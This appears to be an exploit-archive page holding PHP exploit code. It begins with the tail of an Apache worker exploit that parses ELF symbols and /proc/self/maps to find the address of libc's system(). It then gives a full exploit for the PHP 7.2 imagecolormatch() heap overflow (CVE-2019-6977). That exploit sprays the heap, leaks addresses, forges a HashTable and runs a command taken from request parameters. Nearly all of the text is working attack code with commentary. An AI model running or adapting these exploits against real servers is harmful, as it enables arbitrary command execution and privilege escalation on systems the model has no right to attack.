    for($i=0;$i<$e_shnum;$i++)
    {
        $offset = $e_shoff + $i * $e_shentsize;
        $sh_type = str2ptr($elf, $offset + 0x04, 4);

        $SHT_DYNSYM = 11;
        $SHT_SYMTAB = 2;
        $SHT_STRTAB = 3;

        switch($sh_type)
        {
            case $SHT_DYNSYM:
                $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
                $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
                break;
            case $SHT_STRTAB:
            case $SHT_SYMTAB:
                if(!$dynstr_off)
                    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
                break;
        }

    }

    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
        exit('.');

    $sizeof_Elf64_Sym = 0x18;

    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
        $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
        $st_name = str2ptr($elf, $offset, 4);
        
        if(!$st_name)
            continue;
        
        $offset_string = $dynstr_off + $st_name;
        $end = strpos($elf, "\x00", $offset_string) - $offset_string;
        $string = substr($elf, $offset_string, $end);

        if($string == $symbol)
        {
            $st_value = str2ptr($elf, $offset + 0x8, 8);
            return $st_value;
        }
    }

    die('Unable to find symbol ' . $symbol);
}

# Obtains the addresses of the shared memory block and some functions through 
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
	$addresses = [];
	$data = file_get_contents('/proc/self/maps');
	$follows_shm = false;

	foreach(explode("\n", $data) as $line)
	{
		if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
		{
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            if ($bounds[1] - $bounds[0] == 0x14000)
            {
                $addresses['shm'] = $bounds;
                $follows_shm = true;
            }
        }
		if(
			preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
			strpos($line, 'r-xp')
		)
		{
			$offset = find_symbol($matches[1], 'system');
			$line = explode(' ', $line)[0];
			$line = hexdec(explode('-', $line)[0]);
			$addresses['system'] = $line + $offset;
		}
		if(
			strpos($line, 'libapr-1.so') &&
			strpos($line, 'r-xp')
		)
		{
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			$addresses['libaprX'] = $bounds;
		}
		if(
			strpos($line, 'libapr-1.so') &&
			strpos($line, 'r--p')
		)
		{
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			$addresses['libaprR'] = $bounds;
		}
		# Apache's memory block is between the SHM and ld.so
		# Sometimes some rwx region gets mapped; all_buckets cannot be in there
		# but we include it anyways for the sake of simplicity
		if(
			(
				strpos($line, 'rw-p') ||
				strpos($line, 'rwxp')
			) &&
            $follows_shm
		)
		{
            if(strpos($line, '/lib'))
            {
                $follows_shm = false;
                continue;
            }
			$line = explode(' ', $line)[0];
			$bounds = array_map('hexdec', explode('-', $line));
			if(!array_key_exists('apache', $addresses))
			    $addresses['apache'] = $bounds;
			else if($addresses['apache'][1] == $bounds[0])
                $addresses['apache'][1] = $bounds[1];
			else
                $follows_shm = false;
		}
		if(
			preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
			strpos($line, 'r-xp')
		)
		{
			$offset = find_symbol($matches[1], 'zend_object_std_dtor');
			$line = explode(' ', $line)[0];
			$line = hexdec(explode('-', $line)[0]);
			$addresses['zend_object_std_dtor'] = $line + $offset;
		}
	}

	$expected = [
		'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
	];
	$missing = array_diff($expected, array_keys($addresses));

	if($missing)
	{
		o(
			'The following addresses were not determined by parsing ' .
			'/proc/self/maps: ' . implode(', ', $missing)
		);
		exit(0);
	}


	o('PID: ' . getmypid());
	o('Fetching addresses');

	foreach($addresses as $k => $a)
	{
		if(!is_array($a))
			$a = [$a];
		o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
				return '0x' . dechex($z);
		}, $a)));
	}
	o('');

	return $addresses;
}

# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
	o('Obtaining apache workers PIDs');
	$pids = [];
	$cmd = file_get_contents('/proc/self/cmdline');
	$processes = glob('/proc/*');
	foreach($processes as $process)
	{
		if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
			continue;
		$pid = (int) $match[1];
		if(
			!is_readable($process . '/cmdline') ||
			!is_readable($process . '/status')
		)
			continue;
		if($cmd !== file_get_contents($process . '/cmdline'))
			continue;

		$status = file_get_contents($process . '/status');
		foreach(explode("\n", $status) as $line)
		{
			if(
				strpos($line, 'Uid:') === 0 &&
				preg_match('#\b' . posix_getuid() . '\b#', $line)
			)
			{
				o('  Found apache worker: ' . $pid);
				$pids[$pid] = $pid;
				break;
			}

		}
	}
	
	o('Got ' . sizeof($pids) . ' PIDs.');
	o('');

	return $pids;
}

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
            
<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 7.2.12
#

/*

buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

	for (x=0; x<im1->sx; x++) {
		for( y=0; y<im1->sy; y++ ) {
			color = im2->pixels[y][x];
			rgb = im1->tpixels[y][x];
			bp = buf + (color * 5);
			(*(bp++))++;
			*(bp++) += gdTrueColorGetRed(rgb);
			*(bp++) += gdTrueColorGetGreen(rgb);
			*(bp++) += gdTrueColorGetBlue(rgb);
			*(bp++) += gdTrueColorGetAlpha(rgb);
		}

The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);

*/

#
# The bug allows us to increment 5 longs located after buf in memory.
# The first long is incremented by one, others by an arbitrary value between 0
# and 0xff.
#

error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
	# Add a property so that std.properties is created
	function __construct()
	{
		$this->x = '1';
	}

	# Define __get
	# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
	# => zend_object_properties_size() == 0
	# => sizeof(intern) == 0x50
	function __get($x)
	{
		return $this->$x;
	}
}

class Nenuphar2 extends DOMNode
{
	function __construct()
	{
		$this->x = '2';
	}

	function __get($x)
	{
		return $this->$x;
	}
}

function ptr2str($ptr, $m=8)
{
	$out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
	$address = 0;
	for($j=$p+$s-1;$j>=$p;$j--)
	{
		$address <<= 8;
		$address |= ord($str[$j]);
	}
	return $address;
}

# Spray stuff so that we get concurrent memory blocks
for($i=0;$i<100;$i++)
	${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
	${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);

#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#

# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;

# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);

# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);

# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

# Create a memory layout as such:
# [z:   zend_string: 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);

# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[]     : 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);

# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free:             0x200] <-+
# [x:   zend_string: 0x200]   |
# [free:             0x200] --+
unset($y);
# We can read those bytes because x's size has been increased
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;

# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z = 
	# refcount
	ptr2str(1) .
	# u-nTableMask meth
	ptr2str(0) .
	# Bucket arData
	ptr2str($z_address + 0x38) .
	# uint32_t nNumUsed;
	ptr2str(1, 4) .
    # uint32_t nNumOfElements;
	ptr2str(1, 4) .
	# uint32_t nTableSize
	ptr2str(0, 4) .
	# uint32_t nInternalPointer
	ptr2str(0, 4) .
	# zend_long nNextFreeElement
	ptr2str(0x4242424242424242) .
	# dtor_func_t pDestructor
	ptr2str(hexdec($_REQUEST['f'])) .
	str_pad($_REQUEST['c'], 0x100, "\x00") .
	ptr2str(0, strlen($y) - 0x38 - 0x100);
;

# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.


#
# #2: Read Nenuphar.std.properties
#

# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
# and not -0x10.
#
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
# means code execution since at the end of the script, every element of an HT is
# destroyed by calling ht.pDestructor(ht.arData[i]).
# Hence, we want to change the $nenuphar.std.properties pointer.
#
# To proceed, we first read $nenuphar.std.properties, and then increment it
# by triggering the bug several times, until
# $nenuphar.std.properties == $z_address
#
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
# std.properties pointer, we trigger the bug more times, until
# $nenuphar.std.ce == $nenuphar2.std.ce2
#
# This way, $nenuphar will have an arbitrary std.properties pointer, and its
# std.ce will be valid.
#
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
# and therefore call our arbitrary function.
#

# Here we want fastbins of size 0x50 to match dom_object's size
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# Second value (Green) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

# Unsetting the first string so that buf takes its place
unset($y);

# Trigger the bug: $x's size is increased by 0xFF
imagecolormatch($img1, $img2);

$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");

if(
	$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
	$z_address - $props_address < 0
)
{
	print('That won\'t work');
	exit(0);
}


#
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
#

# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
# is also incremented by one because of (*(bp++))++;
# Therefore after we're done incrementing props_address to z_address we need
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce

# The memory structure we have ATM is OK. We can just trigger the bug again
# until Nenuphar.properties == z_address

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);

for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
	imagecolormatch($img1, $img2);
	$ce1_address++;
}

$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;

# Since we don't want to touch other values, only increase the first one, we set
# the three colors to 0
$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);

# Trigger the bug once to increment ce1 by one.
while($ce1_address++ < $ce2_address)
{
	imagecolormatch($img1, $img2);
}

# Read the string again to see if we were successful

$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
	print("\nExploit SUCCESSFUL !\n");
}
else
{
	print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
	print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
	print("\nExploit FAILED !\n");
}